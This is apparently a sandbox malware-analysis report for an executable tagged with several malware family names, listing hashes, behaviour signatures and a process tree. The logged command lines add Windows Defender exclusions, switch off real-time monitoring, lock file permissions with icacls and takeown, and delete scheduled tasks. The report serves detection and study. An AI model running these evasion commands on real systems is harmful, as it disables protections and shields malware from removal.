53bb04c42a63df39fe70b8b2b3a9c5d3670eeb624acf02cf7c712801c7ee9e79

Analysis

max time kernel
15s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/08/2026, 02:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 50.0MB
Sample260802-db6awscj5x
SHA256 53bb04c42a63df39fe70b8b2b3a9c5d3670eeb624acf02cf7c712801c7ee9e79
MD5 958a96524fedb17b35a83665a62bf69c
SHA1 feb00c8a7cca4c3125f59f306c5a64e6c4d64eea
SHA512 895c17a9143a7f360de2d225f0a87911b732b0415968eca2f33e63eea4f52ba122e12fa63074e463dd26ccada25c42e2f8b5f6415314e3104e1982780afb5825
SSDEEP 1572864:NKXz8jSgWFHjzbWm6/UC8GcieH9Qh5CQ85:cXwl6HjzbWBT8GDeH9C5Cf5
TLSH
T1CCB73399339404D7F8CAC33EA1EBE47344C2FA291756C18B82B0656315632D5FEBAF25
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution exploit persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 36 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2472	powershell.exe
3876	powershell.exe
3360	powershell.exe
6136	powershell.exe
2312	powershell.exe
3404	powershell.exe
2300	powershell.exe
6044	powershell.exe
5684	powershell.exe
2452	powershell.exe
2288	powershell.exe
5424	powershell.exe
5416	powershell.exe
1348	powershell.exe
5756	powershell.exe
4616	powershell.exe
2532	powershell.exe
1348	powershell.exe
6136	powershell.exe
2288	powershell.exe
6044	powershell.exe
4616	powershell.exe
5424	powershell.exe
2472	powershell.exe
3876	powershell.exe
2996	powershell.exe
2532	powershell.exe
5416	powershell.exe
5756	powershell.exe
3360	powershell.exe
2452	powershell.exe
2312	powershell.exe
5684	powershell.exe
5824	powershell.exe
2300	powershell.exe
3404	powershell.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
5968	icacls.exe
1112	icacls.exe
1264	icacls.exe
3728	icacls.exe
1296	icacls.exe
3100	icacls.exe
2540	icacls.exe
2128	icacls.exe
4244	icacls.exe
1112	icacls.exe
8344	icacls.exe
5768	icacls.exe
2292	icacls.exe
2836	icacls.exe
4360	icacls.exe
4388	icacls.exe
3728	icacls.exe
5844	icacls.exe
240	icacls.exe
3796	icacls.exe
4888	icacls.exe
1420	icacls.exe
1484	icacls.exe
2840	icacls.exe
4612	icacls.exe
1720	icacls.exe
1168	icacls.exe
4080	icacls.exe
2808	icacls.exe
5880	icacls.exe
932	icacls.exe
5496	icacls.exe
4164	icacls.exe
1232	icacls.exe
4512	icacls.exe
3788	icacls.exe
3216	icacls.exe
3928	icacls.exe
1056	icacls.exe
4652	icacls.exe
628	icacls.exe
4588	icacls.exe
5016	icacls.exe
3268	icacls.exe
6136	icacls.exe
5444	icacls.exe
2272	icacls.exe
4184	icacls.exe
3384	icacls.exe
2884	icacls.exe
4232	icacls.exe
1348	icacls.exe
272	icacls.exe
256	icacls.exe
480	icacls.exe
3840	icacls.exe
5076	icacls.exe
364	icacls.exe
4516	icacls.exe
1868	icacls.exe
5336	icacls.exe
9020	icacls.exe
4188	icacls.exe
2832	icacls.exe

Loads dropped DLL 21 IoCs

pid	Process
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2832	icacls.exe
3796	icacls.exe
5680	icacls.exe
1908	icacls.exe
5836	icacls.exe
5232	icacls.exe
4512	icacls.exe
4184	icacls.exe
5760	icacls.exe
4676	icacls.exe
2832	icacls.exe
3620	icacls.exe
4616	icacls.exe
3268	icacls.exe
3620	icacls.exe
5216	icacls.exe
5116	icacls.exe
4396	icacls.exe
5872	icacls.exe
1072	icacls.exe
2840	icacls.exe
4164	icacls.exe
5680	icacls.exe
1868	icacls.exe
1908	icacls.exe
1348	icacls.exe
7868	icacls.exe
488	icacls.exe
4080	icacls.exe
2664	icacls.exe
4156	icacls.exe
4080	icacls.exe
628	icacls.exe
4184	icacls.exe
3728	icacls.exe
3740	icacls.exe
2964	icacls.exe
4936	icacls.exe
4652	icacls.exe
2628	icacls.exe
4972	icacls.exe
2128	icacls.exe
1044	icacls.exe
3740	icacls.exe
1008	icacls.exe
3828	icacls.exe
5640	icacls.exe
1296	icacls.exe
2812	icacls.exe
272	icacls.exe
240	icacls.exe
1232	icacls.exe
1300	icacls.exe
2672	icacls.exe
2976	icacls.exe
5016	icacls.exe
2556	icacls.exe
5608	icacls.exe
1136	icacls.exe
4188	icacls.exe
4588	icacls.exe
4652	icacls.exe
1776	icacls.exe
4852	icacls.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 24 IoCs

execution

Visual Basic

T1059.005

pid	Process
2584	wscript.exe
768	wscript.exe
2872	wscript.exe
5356	wscript.exe
5872	wscript.exe
4688	wscript.exe
5864	wscript.exe
572	wscript.exe
1336	wscript.exe
1692	wscript.exe
4948	wscript.exe
1016	wscript.exe
3608	wscript.exe
4280	wscript.exe
1560	wscript.exe
1360	wscript.exe
4380	wscript.exe
6008	wscript.exe
804	wscript.exe
2900	wscript.exe
3120	wscript.exe
3528	wscript.exe
2112	wscript.exe
120	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5772	schtasks.exe
628	schtasks.exe
804	schtasks.exe
3944	schtasks.exe
2920	schtasks.exe
2568	schtasks.exe
5704	schtasks.exe
2420	schtasks.exe
6964	schtasks.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
6136	powershell.exe
6136	powershell.exe
6136	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
6044	powershell.exe
6044	powershell.exe
4616	powershell.exe
4616	powershell.exe
6044	powershell.exe
4616	powershell.exe
2532	powershell.exe
2532	powershell.exe
2532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6136	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeIncreaseQuotaPrivilege	6136	powershell.exe
Token: SeSecurityPrivilege	6136	powershell.exe
Token: SeTakeOwnershipPrivilege	6136	powershell.exe
Token: SeLoadDriverPrivilege	6136	powershell.exe
Token: SeSystemProfilePrivilege	6136	powershell.exe
Token: SeSystemtimePrivilege	6136	powershell.exe
Token: SeProfSingleProcessPrivilege	6136	powershell.exe
Token: SeIncBasePriorityPrivilege	6136	powershell.exe
Token: SeCreatePagefilePrivilege	6136	powershell.exe
Token: SeBackupPrivilege	6136	powershell.exe
Token: SeRestorePrivilege	6136	powershell.exe
Token: SeShutdownPrivilege	6136	powershell.exe
Token: SeDebugPrivilege	6136	powershell.exe
Token: SeSystemEnvironmentPrivilege	6136	powershell.exe
Token: SeRemoteShutdownPrivilege	6136	powershell.exe
Token: SeUndockPrivilege	6136	powershell.exe
Token: SeManageVolumePrivilege	6136	powershell.exe
Token: 33	6136	powershell.exe
Token: 34	6136	powershell.exe
Token: 35	6136	powershell.exe
Token: 36	6136	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeIncreaseQuotaPrivilege	2452	powershell.exe
Token: SeSecurityPrivilege	2452	powershell.exe
Token: SeTakeOwnershipPrivilege	2452	powershell.exe
Token: SeLoadDriverPrivilege	2452	powershell.exe
Token: SeSystemProfilePrivilege	2452	powershell.exe
Token: SeSystemtimePrivilege	2452	powershell.exe
Token: SeProfSingleProcessPrivilege	2452	powershell.exe
Token: SeIncBasePriorityPrivilege	2452	powershell.exe
Token: SeCreatePagefilePrivilege	2452	powershell.exe
Token: SeBackupPrivilege	2452	powershell.exe
Token: SeRestorePrivilege	2452	powershell.exe
Token: SeShutdownPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeSystemEnvironmentPrivilege	2452	powershell.exe
Token: SeRemoteShutdownPrivilege	2452	powershell.exe
Token: SeUndockPrivilege	2452	powershell.exe
Token: SeManageVolumePrivilege	2452	powershell.exe
Token: 33	2452	powershell.exe
Token: 34	2452	powershell.exe
Token: 35	2452	powershell.exe
Token: 36	2452	powershell.exe
Token: SeDebugPrivilege	6044	powershell.exe
Token: SeIncreaseQuotaPrivilege	2312	powershell.exe
Token: SeSecurityPrivilege	2312	powershell.exe
Token: SeTakeOwnershipPrivilege	2312	powershell.exe
Token: SeLoadDriverPrivilege	2312	powershell.exe
Token: SeSystemProfilePrivilege	2312	powershell.exe
Token: SeSystemtimePrivilege	2312	powershell.exe
Token: SeProfSingleProcessPrivilege	2312	powershell.exe
Token: SeIncBasePriorityPrivilege	2312	powershell.exe
Token: SeCreatePagefilePrivilege	2312	powershell.exe
Token: SeBackupPrivilege	2312	powershell.exe
Token: SeRestorePrivilege	2312	powershell.exe
Token: SeShutdownPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeSystemEnvironmentPrivilege	2312	powershell.exe
Token: SeRemoteShutdownPrivilege	2312	powershell.exe
Token: SeUndockPrivilege	2312	powershell.exe
Token: SeManageVolumePrivilege	2312	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 3304	3948	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	90
PID 3304 wrote to memory of 2900	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 2900 wrote to memory of 1072	2900	wscript.exe	92
PID 3304 wrote to memory of 1336	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	94
PID 1336 wrote to memory of 4420	1336	wscript.exe	95
PID 3304 wrote to memory of 1100	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	97
PID 3304 wrote to memory of 2808	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	99
PID 3304 wrote to memory of 3880	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	101
PID 3304 wrote to memory of 3240	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	103
PID 3304 wrote to memory of 3100	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	105
PID 3304 wrote to memory of 4664	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 3304 wrote to memory of 5244	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	109
PID 3304 wrote to memory of 4424	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	111
PID 3304 wrote to memory of 4280	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	113
PID 4280 wrote to memory of 6136	4280	wscript.exe	114
PID 3304 wrote to memory of 1560	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	116
PID 1560 wrote to memory of 2452	1560	wscript.exe	117
PID 3304 wrote to memory of 1360	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	119
PID 1360 wrote to memory of 2312	1360	wscript.exe	120
PID 3304 wrote to memory of 1692	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	122
PID 1692 wrote to memory of 2288	1692	wscript.exe	123
PID 3304 wrote to memory of 2584	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	125
PID 3304 wrote to memory of 1008	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	126
PID 3304 wrote to memory of 840	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	128
PID 2584 wrote to memory of 6044	2584	wscript.exe	131
PID 3304 wrote to memory of 1924	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	132
PID 3304 wrote to memory of 4380	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	135
PID 3304 wrote to memory of 5736	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	136
PID 4380 wrote to memory of 4616	4380	wscript.exe	441
PID 3304 wrote to memory of 3120	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	140
PID 3304 wrote to memory of 1172	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	141
PID 3304 wrote to memory of 1072	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	143
PID 3120 wrote to memory of 2532	3120	wscript.exe	144
PID 3304 wrote to memory of 3528	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	147
PID 3304 wrote to memory of 4796	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	148
PID 3528 wrote to memory of 5684	3528	wscript.exe	150
PID 3304 wrote to memory of 560	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	152
PID 3304 wrote to memory of 768	3304	2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	154

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_5565502492.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\System32\icacls.exe
      "C:\Windows\System32\icacls.exe" C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /deny Everyone:(D,W,DA,WA) /grant SYSTEM:(F) /inheritance:r /c
      4⤵
      Modifies file permissions
      PID:1072
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_0551616588.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\System32\takeown.exe
      "C:\Windows\System32\takeown.exe" /f C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /a
      4⤵
      PID:4420
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Local
    3⤵
    PID:1100
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Owner\AppData\Local\Microsoft\Windows\KBG_39482
    3⤵
    PID:2808
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Windows\Temp
    3⤵
    PID:3880
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    3⤵
    PID:3240
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Local\Temp
    3⤵
    PID:3100
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin
    3⤵
    PID:4664
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionPath C:\Users\Admin\AppData\Roaming
    3⤵
    PID:5244
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -ExclusionProcess C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
    3⤵
    PID:4424
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_6674623818.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6136
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_3142150713.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:1560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Owner\AppData\Local\Microsoft\Windows\KBG_39482' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2452
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_3830611656.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2312
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_6053903972.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2288
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_1622594848.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6044
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WindowsCoreUpdate /f
    3⤵
    PID:1008
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WinUpdateService /f
    3⤵
    PID:840
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WindowsDefenderUpdate /f
    3⤵
    PID:1924
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_1016323314.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:4380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4616
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WindowsDefenderCore /f
    3⤵
    PID:5736
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_4909899689.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:3120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2532
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WindowsUpdater /f
    3⤵
    PID:1172
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WindowsUpdaterBoot /f
    3⤵
    PID:1072
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_1663742787.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5684
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WindowsUpdateService /f
    3⤵
    PID:4796
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn WinCoreSvc /f
    3⤵
    PID:560
- - C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\_kbg_hid_3817623295.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5824
- - C:\Windows\System32\schtasks.exe
    C:\Windows\System32\schtasks.exe /delete /tn RuntimeBrokerSvc /f
    3⤵
    PID:4888
- - C:\Windows\System32\schtasks.exe
